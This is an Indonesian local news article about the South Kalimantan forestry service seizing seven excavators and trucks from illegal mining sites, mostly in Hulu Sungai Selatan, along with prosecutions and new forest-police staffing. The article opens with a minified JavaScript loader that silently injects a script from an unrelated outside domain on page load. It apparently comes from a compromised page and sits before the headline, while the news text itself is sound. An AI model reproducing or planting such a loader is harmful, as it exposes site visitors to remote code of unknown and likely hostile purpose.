(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Tujuh Alat Berat Berhasil Diamankan Dishut Kalsel, Terbanyak dari HSS


KANALKALIMANTAN.COM, BANJARBARU– Dinas Kehutanan Kalsel melalui Bidang Perlindungan dan Konservasi Sumber Daya Alam dan Ekosistem (PKSDAE) berhasil mengamankan 7 alat berat yang diperoleh dari razia tambang ilegal.

Tujuh alat berat yang diamankan yaitu 6 exavator dan 1 dump truk. Di Hulu Sungai Selatan (HSS), Dishut berhasil mengamankan 4 alat berat. Sementara sisanya masing-masing 1 unit diamankan di Tabalong, Kandangan, Pelaihari, dan Martapura. “Totalnya ada tujuh,” kata Kabid Perlindungan dan Konservasi Sumber Daya Alam dan Ekosistem Dishut Kalsel, Panca Satata, Senin (13/1).

Panca menjelaskan alasan mengapa banyak tangkapan alat berat di HSS karena lokasinya terbilang strategis untuk melakukan penambangan ilegal. Dia menilai di lokasi tersebut memiliki kualitas lebih baik jika dibandingkan dengan sejumlah wilayah lainnya. “Di Kandangan lebih banyak karena batunya lebih bagus,” ungkapnya.

Saat ini tujuh unit barang bukti itu sedang melalui proses persidangan. Sebagian pemiliknya, kata Panca, masuk Daftar Pencarian Orang (DPO) karena saat proses penangkapan si pemilik tidak ada di tempat. “Saat ini sudah di sidangkan, ada yang DPO karena dinyatakan orangnya tidak ada, dan ada yang jadi temuan,” jelasnya.

Sekarang, lanjut Panca, prosesnya sudah memasuki tahap pemanggilan saksi. “Sudah diproses, 2 sudah kita naikkan menjadi tersangka, lalu ada yang mau kita tangkap di rumahnya, tapi orangnya tidak ada dan jadi DPO,” paparnya.

Jumlah alat berat yang berhasil diamankan Dishut Kalsel dari lokasi tambang ilegal pada 2019 meningkat dibandingkan dengan 2018 lalu. Pada 2018, pihaknya hanya menyita 2 unit alat berat. Salah satu faktor penyebabnya karena pada 2019 terjadi kemarau panjang. Hal itu memungkinkan illegal logging dilakukan dengan leluasa.

“Karena 2019 kemaraunya lebih panjang jadi yang sifatnya illegal loging lebih nyaman, kalau 2018 itu memang curah hujannya tinggi jadi illegal logging susah,” terangnya.

Untuk menekan jumlah temuan pelanggaran sumber daya alam dan ekosistem, Dishut Kalsel menambah 30 personel satuan khusus polisi kehutanan dan menaikkan target penangkapan di setiap Kesatuan Pengelolaan Hutan (KPH).

Satuan khusus itu dibekali kemampuan pengenalan GPS, pemetaan, dan cara cara penangkapan. Ke depan, pihaknya juga akan berupaya meningkatkan kinerja dalam pengungkapan kasus illegal logging. “Ke depan kita akan tingkatkan kinerja dengan menaikkan target yang dulu di KPH itu 1 bulan 1 kasus, sekarang 1 bulan 2 kasus, total ada 9 KPH,” sambungnya.

Dia berharap masyarakat sadar akan pentingnya wilayah hutan. Masyarakat juga diminta untuk menjaga kelestarian hutan. Harapannya, tindak pidana kehutanan di Kalsel dapat menurun. “Sehingga bisa meringankan tugas kita sebagai petugas pengamanan hutan,” tutupnya.(Dishut)

Reporter : Dishut
Editor : Chell


Desy Arfianty

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

1 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

11 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

14 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

20 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

20 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

23 jam ago

This website uses cookies.